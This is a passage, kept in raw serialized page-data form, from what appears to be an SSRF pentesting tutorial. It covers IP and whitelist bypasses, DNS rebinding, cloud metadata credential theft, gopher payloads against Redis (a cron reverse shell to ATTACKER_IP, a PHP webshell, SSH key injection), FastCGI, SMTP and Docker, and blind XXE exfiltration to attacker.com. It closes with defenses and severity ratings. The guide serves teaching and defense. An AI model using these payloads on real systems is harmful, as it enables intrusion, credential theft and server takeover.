2130706433",[15,13318,13319],{},[26,13320,13321],{},"Hex:",[142,13323,13326],{"className":13324,"code":13325,"language":147},[145],"http:\u002F\u002F0x7f000001\nhttp:\u002F\u002F0x7f.0x0.0x0.0x1\n",[37,13327,13325],{"__ignoreMap":87},[15,13329,13330],{},[26,13331,13332],{},"Octal:",[142,13334,13337],{"className":13335,"code":13336,"language":147},[145],"http:\u002F\u002F0177.0.0.01\nhttp:\u002F\u002F017700000001\n",[37,13338,13336],{"__ignoreMap":87},[15,13340,13341],{},[26,13342,13343],{},"IPv6:",[142,13345,13348],{"className":13346,"code":13347,"language":147},[145],"http:\u002F\u002F[::1]\nhttp:\u002F\u002F[0000::1]\nhttp:\u002F\u002F[::ffff:127.0.0.1]\nhttp:\u002F\u002F[0:0:0:0:0:ffff:127.0.0.1]\n",[37,13349,13347],{"__ignoreMap":87},[15,13351,13352],{},[26,13353,13354],{},"Domains that resolve to 127.0.0.1:",[142,13356,13359],{"className":13357,"code":13358,"language":147},[145],"http:\u002F\u002Flocaltest.me\nhttp:\u002F\u002Fvcap.me\nhttp:\u002F\u002F127.0.0.1.nip.io\nhttp:\u002F\u002Fspoofed.burpcollaborator.net   (your own Collaborator with DNS)\n",[37,13360,13358],{"__ignoreMap":87},[137,13362,13364],{"id":13363},"bypassing-domain-whitelists","Bypassing Domain Whitelists",[15,13366,13367],{},[26,13368,13369],{},"URL parsing (discrepancies between the parser and the HTTP client):",[142,13371,13374],{"className":13372,"code":13373,"language":147},[145],"http:\u002F\u002Fallowed.com@attacker.com       — userinfo part of the URL\nhttp:\u002F\u002Fattacker.com#allowed.com       — fragment\nhttp:\u002F\u002Fattacker.com?q=allowed.com     — query string\nhttp:\u002F\u002Fallowed.com.attacker.com       — subdomain\n",[37,13375,13373],{"__ignoreMap":87},[15,13377,13378],{},[26,13379,13380],{},"Open redirect:",[142,13382,13385],{"className":13383,"code":13384,"language":147},[145],"http:\u002F\u002Fallowed.com\u002Fredirect?url=http:\u002F\u002F169.254.169.254\u002F\n",[37,13386,13384],{"__ignoreMap":87},[15,13388,13389],{},"If there's an open redirect on the allowed domain — use it as an intermediate hop.",[15,13391,13392],{},[26,13393,13394],{},"Encoded characters:",[142,13396,13399],{"className":13397,"code":13398,"language":147},[145],"http:\u002F\u002Fallowed.com%00@attacker.com    — null byte\nhttp:\u002F\u002Fallowed.com%2F%2Fattacker.com\n",[37,13400,13398],{"__ignoreMap":87},[137,13402,13404],{"id":13403},"bypassing-scheme-filters","Bypassing Scheme Filters",[142,13406,13409],{"className":13407,"code":13408,"language":147},[145],"gopher:\u002F\u002F  → Gopher:\u002F\u002F  → GOPHER:\u002F\u002F   (case-insensitive)\nfile:\u002F\u002F    → File:\u002F\u002F\n",[37,13410,13408],{"__ignoreMap":87},[137,13412,13414],{"id":13413},"bypass-via-redirect","Bypass via Redirect",[15,13416,13417],{},"If the server follows HTTP redirects:",[335,13419,13420,13426,13432],{},[33,13421,13422,13423],{},"First URL passes the filter: ",[37,13424,13425],{},"http:\u002F\u002Fattacker.com\u002Fredirect",[33,13427,13428,13429],{},"Attacker returns ",[37,13430,13431],{},"302 Location: http:\u002F\u002F127.0.0.1\u002Fadmin",[33,13433,13434],{},"Server follows the redirect → filter no longer checks",[15,13436,13437],{},"You can switch schemes via redirect:",[142,13439,13442],{"className":13440,"code":13441,"language":147},[145],"http:\u002F\u002Fattacker.com\u002Fredirect → gopher:\u002F\u002F127.0.0.1:6379\u002F...\n",[37,13443,13441],{"__ignoreMap":87},[137,13445,13447],{"id":13446},"dns-rebinding","DNS Rebinding",[15,13449,13450,13453],{},[26,13451,13452],{},"Problem:"," server resolves DNS and checks the IP before making the request.",[15,13455,13456],{},[26,13457,13458],{},"Bypass:",[335,13460,13461,13471,13474,13481],{},[33,13462,13463,13466,13467,13470],{},[37,13464,13465],{},"evil.com"," → first DNS response: ",[37,13468,13469],{},"1.2.3.4"," (external, passes validation)",[33,13472,13473],{},"Server validates — OK",[33,13475,13476,13477,1722,13479],{},"Second DNS query (for the connection): ",[37,13478,13465],{},[37,13480,11812],{},[33,13482,13483],{},"Request goes to localhost",[15,13485,13486,13489,13490,13493],{},[26,13487,13488],{},"Setup:"," your own DNS with TTL=0, alternating responses.\n",[26,13491,13492],{},"Tools:"," rbndr.us, Singularity of Origin.",[137,13495,13497],{"id":13496},"toctou-time-of-check-to-time-of-use","TOCTOU (Time-of-Check to Time-of-Use)",[15,13499,13500,13501,13504],{},"DNS rebinding is a specific case of the broader ",[26,13502,13503],{},"TOCTOU"," pattern: between the moment of check (DNS resolve → IP is OK) and the moment of use (HTTP request), the state changes. This matters because TOCTOU isn't limited to DNS — for example, if an application validates a URL, stores it, and uses it later, an intermediate redirect on that URL could change.",[137,13506,13508],{"id":13507},"ssrf-crlf-injection","SSRF + CRLF Injection",[15,13510,13511,13512,13514],{},"If you can inject ",[37,13513,9671],{}," (CRLF) into the URL, you can add arbitrary HTTP headers to the request the server makes:",[142,13516,13519],{"className":13517,"code":13518,"language":147},[145],"http:\u002F\u002Finternal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A\n",[37,13520,13518],{"__ignoreMap":87},[15,13522,13523,13524,13527],{},"This lets you bypass defenses like ",[26,13525,13526],{},"IMDSv2"," that require special headers. If the server's HTTP client doesn't sanitize CRLF in the URL — you control the request headers.",[12813,13529],{},[19,13531,13533],{"id":13532},"_6-cloud-metadata-the-primary-target","6. Cloud Metadata — The Primary Target",[137,13535,13537],{"id":13536},"aws-imdsv1","AWS (IMDSv1)",[142,13539,13542],{"className":13540,"code":13541,"language":147},[145],"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fhostname\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Flocal-ipv4\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003CROLE_NAME>\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\n",[37,13543,13541],{"__ignoreMap":87},[15,13545,13546,13547,212],{},"The main prize — ",[26,13548,13549],{},"IAM credentials",[142,13551,13553],{"className":6033,"code":13552,"language":6035,"meta":87,"style":87},"{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"wJalr...\",\n  \"Token\": \"IQoJb3...\",\n  \"Expiration\": \"2026-04-18T12:00:00Z\"\n}\n",[37,13554,13555,13559,13571,13583,13595,13605],{"__ignoreMap":87},[313,13556,13557],{"class":315,"line":316},[313,13558,6042],{"class":748},[313,13560,13561,13564,13566,13569],{"class":315,"line":88},[313,13562,13563],{"class":808},"  \"AccessKeyId\"",[313,13565,6050],{"class":748},[313,13567,13568],{"class":771},"\"ASIA...\"",[313,13570,830],{"class":748},[313,13572,13573,13576,13578,13581],{"class":315,"line":253},[313,13574,13575],{"class":808},"  \"SecretAccessKey\"",[313,13577,6050],{"class":748},[313,13579,13580],{"class":771},"\"wJalr...\"",[313,13582,830],{"class":748},[313,13584,13585,13588,13590,13593],{"class":315,"line":780},[313,13586,13587],{"class":808},"  \"Token\"",[313,13589,6050],{"class":748},[313,13591,13592],{"class":771},"\"IQoJb3...\"",[313,13594,830],{"class":748},[313,13596,13597,13600,13602],{"class":315,"line":792},[313,13598,13599],{"class":808},"  \"Expiration\"",[313,13601,6050],{"class":748},[313,13603,13604],{"class":771},"\"2026-04-18T12:00:00Z\"\n",[313,13606,13607],{"class":315,"line":802},[313,13608,940],{"class":748},[15,13610,13611],{},"With these keys → access to S3, EC2, Lambda, DynamoDB, etc.",[15,13613,13614],{},[26,13615,13616],{},"IMDSv2 (defense):",[142,13618,13621],{"className":13619,"code":13620,"language":147},[145],"Step 1: PUT http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\n        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600\n        → Get a token\n\nStep 2: GET http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n        Header: X-aws-ec2-metadata-token: \u003Ctoken>\n",[37,13622,13620],{"__ignoreMap":87},[15,13624,13625],{},"A simple GET-based SSRF won't work — you need PUT + a custom header. But if the SSRF lets you control the method and headers (or there's CRLF injection) — IMDSv2 can be bypassed too.",[137,13627,13629],{"id":13628},"gcp","GCP",[142,13631,13634],{"className":13632,"code":13633,"language":147},[145],"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id\n",[37,13635,13633],{"__ignoreMap":87},[15,13637,13638,11338,13641,13644],{},[26,13639,13640],{},"Requires header:",[37,13642,13643],{},"Metadata-Flavor: Google"," — but you can inject it via gopher.",[137,13646,13648],{"id":13647},"azure","Azure",[142,13650,13653],{"className":13651,"code":13652,"language":147},[145],"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\n",[37,13654,13652],{"__ignoreMap":87},[15,13656,13657,11338,13659],{},[26,13658,13640],{},[37,13660,13661],{},"Metadata: true",[137,13663,13665],{"id":13664},"digitalocean","DigitalOcean",[142,13667,13670],{"className":13668,"code":13669,"language":147},[145],"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002Fid\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002Fuser-data\n",[37,13671,13669],{"__ignoreMap":87},[137,13673,13675],{"id":13674},"kubernetes","Kubernetes",[15,13677,13678],{},"If the server runs inside a Kubernetes Pod:",[142,13680,13683],{"className":13681,"code":13682,"language":147},[145],"# Service account token (authentication to the cluster API)\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n\n# Kubernetes API — secrets of the entire namespace\nhttp:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\u002Fdefault\u002Fsecrets\n\n# Kubelet read-only API — Pod information\nhttp:\u002F\u002Flocalhost:10255\u002Fpods\n\n# etcd — the store for all cluster state\nhttp:\u002F\u002Flocalhost:2379\u002Fv2\u002Fkeys\u002F\n\n# Kubernetes environment variables\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron\n",[37,13684,13682],{"__ignoreMap":87},[15,13686,13687],{},"Service account token + Kubernetes API = potentially full access to the cluster, secrets, and other services.",[12813,13689],{},[19,13691,13693],{"id":13692},"_7-paths-to-rce-via-ssrf","7. Paths to RCE via SSRF",[137,13695,13697],{"id":13696},"redis-port-6379","Redis (Port 6379)",[15,13699,13700],{},"Unauthenticated Redis + gopher = arbitrary file writes.",[15,13702,13703],{},[26,13704,13705],{},"Vector 1 — Crontab (Linux):",[142,13707,13710],{"className":13708,"code":13709,"language":147},[145],"gopher:\u002F\u002F127.0.0.1:6379\u002F_\nSET shell \"\\n\\n*\u002F1 * * * * bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1\\n\\n\"\nCONFIG SET dir \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\nCONFIG SET dbfilename root\nSAVE\n",[37,13711,13709],{"__ignoreMap":87},[15,13713,13714],{},"→ Reverse shell via cron every minute.",[15,13716,13717],{},[26,13718,13719],{},"Vector 2 — Webshell:",[142,13721,13724],{"className":13722,"code":13723,"language":147},[145],"SET shell \"\\n\\n\u003C?php system($_GET['cmd']); ?>\\n\\n\"\nCONFIG SET dir \u002Fvar\u002Fwww\u002Fhtml\nCONFIG SET dbfilename shell.php\nSAVE\n",[37,13725,13723],{"__ignoreMap":87},[15,13727,13728,13729],{},"→ Webshell at ",[37,13730,13731],{},"http:\u002F\u002Ftarget.com\u002Fshell.php?cmd=id",[15,13733,13734],{},[26,13735,13736],{},"Vector 3 — SSH authorized_keys:",[142,13738,13741],{"className":13739,"code":13740,"language":147},[145],"SET ssh \"\\n\\nssh-rsa AAAAB3... attacker@box\\n\\n\"\nCONFIG SET dir \u002Froot\u002F.ssh\nCONFIG SET dbfilename authorized_keys\nSAVE\n",[37,13742,13740],{"__ignoreMap":87},[15,13744,13745],{},"→ SSH access without a password.",[15,13747,13748,13751],{},[26,13749,13750],{},"Tool:"," Gopherus auto-generates gopher payloads for Redis.",[137,13753,13755],{"id":13754},"php-fpm-fastcgi-port-9000","PHP-FPM \u002F FastCGI (Port 9000)",[15,13757,13758],{},"PHP-FPM executes PHP code on demand via the FastCGI protocol.",[15,13760,13761],{},[26,13762,13763],{},"Attack:",[335,13765,13766,13769,13775,13781,13787],{},[33,13767,13768],{},"Craft a FastCGI packet via gopher",[33,13770,13771,13772,12837],{},"Point to an existing .php file (e.g., ",[37,13773,13774],{},"\u002Fvar\u002Fwww\u002Fhtml\u002Findex.php",[33,13776,13777,13778],{},"Set ",[37,13779,13780],{},"PHP_VALUE: auto_prepend_file = php:\u002F\u002Finput",[33,13782,13783,13784],{},"Body — ",[37,13785,13786],{},"\u003C?php system(\"id\"); ?>",[33,13788,13789,13790],{},"PHP-FPM executes the code → ",[26,13791,13792],{},"RCE without writing files",[15,13794,13795,13797],{},[26,13796,13750],{}," Gopherus → FastCGI payload.",[137,13799,13801],{"id":13800},"smtp-port-25","SMTP (Port 25)",[15,13803,13804],{},"Not RCE, but useful:",[142,13806,13809],{"className":13807,"code":13808,"language":147},[145],"gopher:\u002F\u002F127.0.0.1:25\u002F_\nHELO attacker.com%0D%0A\nMAIL FROM:\u003Cattacker@evil.com>%0D%0A\nRCPT TO:\u003Cadmin@target.com>%0D%0A\nDATA%0D%0A\nSubject: Test%0D%0A\nPhishing email body%0D%0A\n.%0D%0A\nQUIT\n",[37,13810,13808],{"__ignoreMap":87},[15,13812,13813],{},"→ Sending email on behalf of the internal server (for phishing, social engineering).",[137,13815,13817],{"id":13816},"mysql-port-3306","MySQL (Port 3306)",[15,13819,13820],{},"If MySQL has no password (empty root password in dev environments):",[30,13822,13823,13826,13832],{},[33,13824,13825],{},"Craft a MySQL authentication packet via gopher",[33,13827,13828,13829],{},"Send an SQL query: ",[37,13830,13831],{},"SELECT \"\u003C?php system($_GET['cmd']); ?>\" INTO OUTFILE '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php'",[33,13833,13834],{},"→ Webshell",[15,13836,13837,13840],{},[26,13838,13839],{},"Limitation:"," the MySQL protocol is binary and complex, doesn't always work.",[137,13842,13844],{"id":13843},"internal-apis-without-authentication","Internal APIs Without Authentication",[15,13846,13847],{},"Many internal services trust requests from the internal network:",[30,13849,13850,13856,13862,13865],{},[33,13851,13852,13853,12837],{},"Kubernetes API (",[37,13854,13855],{},"http:\u002F\u002Fkubernetes.default.svc",[33,13857,13858,13859,12837],{},"Docker API (",[37,13860,13861],{},"http:\u002F\u002F127.0.0.1:2375",[33,13863,13864],{},"Consul, etcd, Elasticsearch",[33,13866,13867],{},"Admin panels (Jenkins, Grafana, Kibana)",[15,13869,13870],{},"Docker API → RCE:",[142,13872,13875],{"className":13873,"code":13874,"language":147},[145],"POST http:\u002F\u002F127.0.0.1:2375\u002Fcontainers\u002Fcreate\nBody: {\"Image\":\"alpine\",\"Cmd\":[\"sh\"],\"Binds\":[\"\u002F:\u002Fmnt\"]}\n",[37,13876,13874],{"__ignoreMap":87},[15,13878,13879],{},"→ Mount the host filesystem into a container → full access.",[137,13881,13883],{"id":13882},"chain-ssrf-cloud-keys-full-compromise","Chain: SSRF → Cloud Keys → Full Compromise",[335,13885,13886,13893,13902,13905],{},[33,13887,13888,13889,13892],{},"SSRF → ",[37,13890,13891],{},"169.254.169.254"," → IAM credentials",[33,13894,13895,13896,4244,13899],{},"With the keys: ",[37,13897,13898],{},"aws s3 ls",[37,13900,13901],{},"aws ec2 describe-instances",[33,13903,13904],{},"Look for S3 buckets with secrets, databases, other instances",[33,13906,13907],{},"Lateral movement across the cloud infrastructure",[12813,13909],{},[19,13911,13913],{"id":13912},"_8-ssrf-via-xxe","8. SSRF via XXE",[15,13915,13916],{},"XML parsers process external entities — this gives you SSRF + file reads.",[137,13918,13920],{"id":13919},"basic-xxe-ssrf","Basic XXE → SSRF",[142,13922,13924],{"className":1948,"code":13923,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Cdata>&xxe;\u003C\u002Fdata>\n",[37,13925,13926,13931,13936,13941,13946],{"__ignoreMap":87},[313,13927,13928],{"class":315,"line":316},[313,13929,13930],{},"\u003C?xml version=\"1.0\"?>\n",[313,13932,13933],{"class":315,"line":88},[313,13934,13935],{},"\u003C!DOCTYPE foo [\n",[313,13937,13938],{"class":315,"line":253},[313,13939,13940],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n",[313,13942,13943],{"class":315,"line":780},[313,13944,13945],{},"]>\n",[313,13947,13948],{"class":315,"line":792},[313,13949,13950],{},"\u003Cdata>&xxe;\u003C\u002Fdata>\n",[137,13952,13954],{"id":13953},"blind-xxe-oob-exfiltration","Blind XXE → OOB Exfiltration",[142,13956,13958],{"className":1948,"code":13957,"language":1950,"meta":87,"style":87},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cdata>&send;\u003C\u002Fdata>\n",[37,13959,13960,13964,13969,13974,13979,13983],{"__ignoreMap":87},[313,13961,13962],{"class":315,"line":316},[313,13963,13935],{},[313,13965,13966],{"class":315,"line":88},[313,13967,13968],{},"  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[313,13970,13971],{"class":315,"line":253},[313,13972,13973],{},"  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n",[313,13975,13976],{"class":315,"line":780},[313,13977,13978],{},"  %dtd;\n",[313,13980,13981],{"class":315,"line":792},[313,13982,13945],{},[313,13984,13985],{"class":315,"line":802},[313,13986,13987],{},"\u003Cdata>&send;\u003C\u002Fdata>\n",[137,13989,13991],{"id":13990},"where-xxe-shows-up","Where XXE Shows Up",[30,13993,13994,14000,14006,14009,14012],{},[33,13995,13996,13997],{},"APIs with ",[37,13998,13999],{},"Content-Type: application\u002Fxml",[33,14001,14002,14003],{},"SVG uploads: ",[37,14004,14005],{},"\u003Cimage xlink:href=\"http:\u002F\u002Finternal\u002F...\">",[33,14007,14008],{},"DOCX\u002FXLSX uploads (ZIP with XML inside)",[33,14010,14011],{},"SOAP endpoints",[33,14013,14014,14015,5546,14018],{},"Sometimes you can switch ",[37,14016,14017],{},"Content-Type: application\u002Fjson",[37,14019,14020],{},"application\u002Fxml",[15,14022,14023,14024,524],{},"Detailed XXE breakdown → ",[125,14025,14026],{"href":12988},"XXE (XML External Entities)",[12813,14028],{},[19,14030,14032],{"id":14031},"_9-chaining-with-other-vulnerabilities","9. Chaining with Other Vulnerabilities",[13075,14034,14035,14047],{},[13078,14036,14037],{},[13081,14038,14039,14042,14044],{},[13084,14040,14041],{},"Chain",[13084,14043,13089],{},[13084,14045,14046],{},"Impact",[13091,14048,14049,14062,14079,14092,14105,14118,14131],{},[13081,14050,14051,14056,14059],{},[13096,14052,14053],{},[26,14054,14055],{},"SSRF → XXE",[13096,14057,14058],{},"SSRF to an internal service that parses XML",[13096,14060,14061],{},"File reads, further SSRF",[13081,14063,14064,14069,14076],{},[13096,14065,14066],{},[26,14067,14068],{},"XXE → SSRF",[13096,14070,14071,14072,14075],{},"External entity with ",[37,14073,14074],{},"http:\u002F\u002F"," URI",[13096,14077,14078],{},"Access to internal services, cloud metadata",[13081,14080,14081,14086,14089],{},[13096,14082,14083],{},[26,14084,14085],{},"SSRF → SSTI",[13096,14087,14088],{},"SSRF to an internal service that renders templates",[13096,14090,14091],{},"RCE via template injection",[13081,14093,14094,14099,14102],{},[13096,14095,14096],{},[26,14097,14098],{},"SSTI → SSRF",[13096,14100,14101],{},"RCE via SSTI = you can make any requests",[13096,14103,14104],{},"Full access to the internal network",[13081,14106,14107,14112,14115],{},[13096,14108,14109],{},[26,14110,14111],{},"SSRF → Deserialization",[13096,14113,14114],{},"SSRF to an internal Java\u002FPHP service with deserialization",[13096,14116,14117],{},"RCE",[13081,14119,14120,14125,14128],{},[13096,14121,14122],{},[26,14123,14124],{},"SSRF + CRLF",[13096,14126,14127],{},"CRLF in URL → arbitrary headers",[13096,14129,14130],{},"IMDSv2 bypass, header injection",[13081,14132,14133,14138,14141],{},[13096,14134,14135],{},[26,14136,14137],{},"SSRF + Open Redirect",[13096,14139,14140],{},"Redirect on an allowed domain as a springboard",[13096,14142,14143],{},"Whitelist bypass",[12813,14145],{},[19,14147,14149],{"id":14148},"_10-testing-methodology","10. Testing Methodology",[137,14151,14153],{"id":14152},"step-1-discovery","Step 1: Discovery",[30,14155,14156,14159,14162,14165],{},[33,14157,14158],{},"Find all parameters that accept URLs",[33,14160,14161],{},"Check for hidden parameters (Param Miner)",[33,14163,14164],{},"Review JS files for hidden endpoints",[33,14166,14167],{},"Check upload, import, and webhook features",[137,14169,14171],{"id":14170},"step-2-confirmation","Step 2: Confirmation",[30,14173,14174,14177],{},[33,14175,14176],{},"Insert a Burp Collaborator URL",[33,14178,14179,14180],{},"If no callback arrives:\n",[30,14181,14182,14185,14188,14195],{},[33,14183,14184],{},"Try obfuscation, different schemes",[33,14186,14187],{},"Check DNS callback separately from HTTP",[33,14189,14190,14191,14194],{},"Compare timing: ",[37,14192,14193],{},"http:\u002F\u002F10.255.255.1"," (non-routable) vs a normal URL",[33,14196,14197],{},"Possibly a firewall blocks outgoing — try internal addresses",[137,14199,14201],{"id":14200},"step-3-determine-the-type","Step 3: Determine the Type",[30,14203,14204,14207],{},[33,14205,14206],{},"Response visible → non-blind → read data",[33,14208,14209],{},"Only callback → blind → OOB\u002Ftiming",[137,14211,14213],{"id":14212},"step-4-bypass-filters","Step 4: Bypass Filters",[30,14215,14216,14219,14222,14225,14228],{},[33,14217,14218],{},"IP obfuscation (decimal, hex, octal, IPv6)",[33,14220,14221],{},"DNS tricks (your domain → 127.0.0.1, DNS rebinding)",[33,14223,14224],{},"URL parsing (@, #, %00)",[33,14226,14227],{},"Redirects",[33,14229,14230],{},"Scheme switching",[137,14232,14234],{"id":14233},"step-5-escalation","Step 5: Escalation",[142,14236,14239],{"className":14237,"code":14238,"language":147},[145],"1. http:\u002F\u002F169.254.169.254\u002F...        → cloud credentials\n2. file:\u002F\u002F\u002Fetc\u002Fpasswd                → file reads\n3. http:\u002F\u002F127.0.0.1:PORT             → port scanning\n4. gopher:\u002F\u002F127.0.0.1:6379\u002F...       → Redis → RCE\n5. gopher:\u002F\u002F127.0.0.1:9000\u002F...       → FastCGI → RCE\n6. http:\u002F\u002F127.0.0.1:2375\u002F...         → Docker API → RCE\n7. http:\u002F\u002Fkubernetes.default.svc\u002F... → K8s API → cluster secrets\n",[37,14240,14238],{"__ignoreMap":87},[15,14242,14243,14244,524],{},"Hands-on exercise: ",[125,14245,14247],{"href":14246},"\u002Fnotes\u002Fpentesting\u002Fportswigger-ssrf-blacklist-filter-bypass","SSRF with blacklist filter bypass (PortSwigger)",[12813,14249],{},[19,14251,14253],{"id":14252},"_11-defending-against-ssrf","11. Defending Against SSRF",[137,14255,14257],{"id":14256},"application-level-input-validation","Application Level (Input Validation)",[335,14259,14260,14266,14287,14293,14303,14309,14319],{},[33,14261,14262,14265],{},[26,14263,14264],{},"Whitelist allowed domains\u002FIPs"," — not a blacklist. Blacklists can always be bypassed (decimal, hex, IPv6, resolver domains).",[33,14267,14268,14271,14272,8649,14274,14277,14278,4244,14280,4244,14282,4244,14284,14286],{},[26,14269,14270],{},"Whitelist schemes"," — only ",[37,14273,14074],{},[37,14275,14276],{},"https:\u002F\u002F",". Disable ",[37,14279,13153],{},[37,14281,13175],{},[37,14283,13254],{},[37,14285,13220],{},", and the rest.",[33,14288,14289,14292],{},[26,14290,14291],{},"Restrict ports"," — allow only standard HTTP ports (80, 443, 8080, 8090). This prevents interaction with Redis (6379), MySQL (3306), FastCGI (9000).",[33,14294,14295,14298,14299,14302],{},[26,14296,14297],{},"Validate IP after DNS resolution"," — resolve DNS → check that the IP is not private (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → connect ",[26,14300,14301],{},"to that same IP"," (don't re-resolve — otherwise TOCTOU\u002FDNS rebinding).",[33,14304,14305,14308],{},[26,14306,14307],{},"Validate domain names"," — check URL structure, don't trust user-supplied domains without a whitelist.",[33,14310,14311,14314,14315,14318],{},[26,14312,14313],{},"Disable or validate redirects"," — better to disable. If the business requires them — validate ",[26,14316,14317],{},"every hop",", not just the first URL. Common mistake: validating only the first step while the redirect goes through unchecked.",[33,14320,14321,14324,14325,14328,14329,14332,14333,14336],{},[26,14322,14323],{},"Understand how your library handles addresses"," — different HTTP clients parse URLs differently. ",[37,14326,14327],{},"urllib"," in Python, ",[37,14330,14331],{},"curl"," in PHP, ",[37,14334,14335],{},"HttpClient"," in Java — each has its quirks with userinfo (@), fragments (#), null bytes.",[137,14338,14340],{"id":14339},"response-level-output-filtering","Response Level (Output Filtering)",[335,14342,14343,14353,14359],{"start":833},[33,14344,14345,14348,14349,14352],{},[26,14346,14347],{},"Filter returned data"," — if the application expects a specific data type (JSON, image), verify format compliance ",[26,14350,14351],{},"before"," showing it to the user.",[33,14354,14355,14358],{},[26,14356,14357],{},"Block response details"," — don't return the full internal service response to the user. Minimum information.",[33,14360,14361,14364],{},[26,14362,14363],{},"Uniform error messages"," — standardize errors so you can't fingerprint internal ports and services through error message differences.",[137,14366,14368],{"id":14367},"infrastructure-level","Infrastructure Level",[335,14370,14371,14377,14383,14393],{"start":853},[33,14372,14373,14376],{},[26,14374,14375],{},"Network segmentation"," — the application server should not have access to arbitrary internal services. Firewall rules: only required ports and hosts.",[33,14378,14379,14382],{},[26,14380,14381],{},"Restrict access to internal infrastructure"," — for servers potentially vulnerable to SSRF (those processing user-supplied URLs), limit outbound connections to the internal network.",[33,14384,14385,14388,14389,14392],{},[26,14386,14387],{},"Isolation"," — if you can't remove the URL functionality, move it to a ",[26,14390,14391],{},"separate isolated network segment"," with minimal privileges.",[33,14394,14395,14398,14399,14402,14403,14406],{},[26,14396,14397],{},"Metadata concealment"," — IMDSv2 (AWS), required headers (GCP: ",[37,14400,14401],{},"Metadata-Flavor",", Azure: ",[37,14404,14405],{},"Metadata","). But don't rely solely on this — CRLF injection or gopher can inject headers.",[137,14408,14410],{"id":14409},"common-mistakes","Common Mistakes",[30,14412,14413,14416,14419,14422,14425],{},[33,14414,14415],{},"Blacklist instead of whitelist — can always be bypassed",[33,14417,14418],{},"Validating the URL string instead of the IP after resolution — DNS rebinding",[33,14420,14421],{},"Checking only the first URL — redirect bypasses it",[33,14423,14424],{},"Forgetting about IPv6, decimal, octal IP forms",[33,14426,14427],{},"Relying on \"our library is safe\" without testing specific behavior",[12813,14429],{},[19,14431,14433],{"id":14432},"_12-severity-assessment","12. Severity Assessment",[13075,14435,14436,14446],{},[13078,14437,14438],{},[13081,14439,14440,14443],{},[13084,14441,14442],{},"Severity",[13084,14444,14445],{},"Conditions",[13091,14447,14448,14458,14468,14478],{},[13081,14449,14450,14455],{},[13096,14451,14452],{},[26,14453,14454],{},"Critical",[13096,14456,14457],{},"Cloud credentials, RCE (Redis\u002FFastCGI\u002FDocker), access to databases with data",[13081,14459,14460,14465],{},[13096,14461,14462],{},[26,14463,14464],{},"High",[13096,14466,14467],{},"File reads (file:\u002F\u002F), non-blind access to internal network, access to internal APIs",[13081,14469,14470,14475],{},[13096,14471,14472],{},[26,14473,14474],{},"Medium",[13096,14476,14477],{},"Blind SSRF, port scanning, limited protocols",[13081,14479,14480,14485],{},[13096,14481,14482],{},[26,14483,14484],{},"Low",[13096,14486,14487],{},"External requests only, strict whitelist with minimal control",[12813,14489],{},[19,14491,14493],{"id":14492},"_13-tools","13. Tools",[13075,14495,14496,14506],{},[13078,14497,14498],{},[13081,14499,14500,14503],{},[13084,14501,14502],{},"Tool",[13084,14504,14505],{},"Purpose",[13091,14507,14508,14517,14527,14537,14547,14557],{},[13081,14509,14510,14514],{},[13096,14511,14512],{},[26,14513,11441],{},[13096,14515,14516],{},"Confirming blind SSRF (DNS\u002FHTTP callback)",[13081,14518,14519,14524],{},[13096,14520,14521],{},[26,14522,14523],{},"interactsh",[13096,14525,14526],{},"Free alternative to Collaborator",[13081,14528,14529,14534],{},[13096,14530,14531],{},[26,14532,14533],{},"Gopherus",[13096,14535,14536],{},"Generating gopher payloads for Redis, MySQL, FastCGI, SMTP",[13081,14538,14539,14544],{},[13096,14540,14541],{},[26,14542,14543],{},"SSRFmap",[13096,14545,14546],{},"Automating SSRF 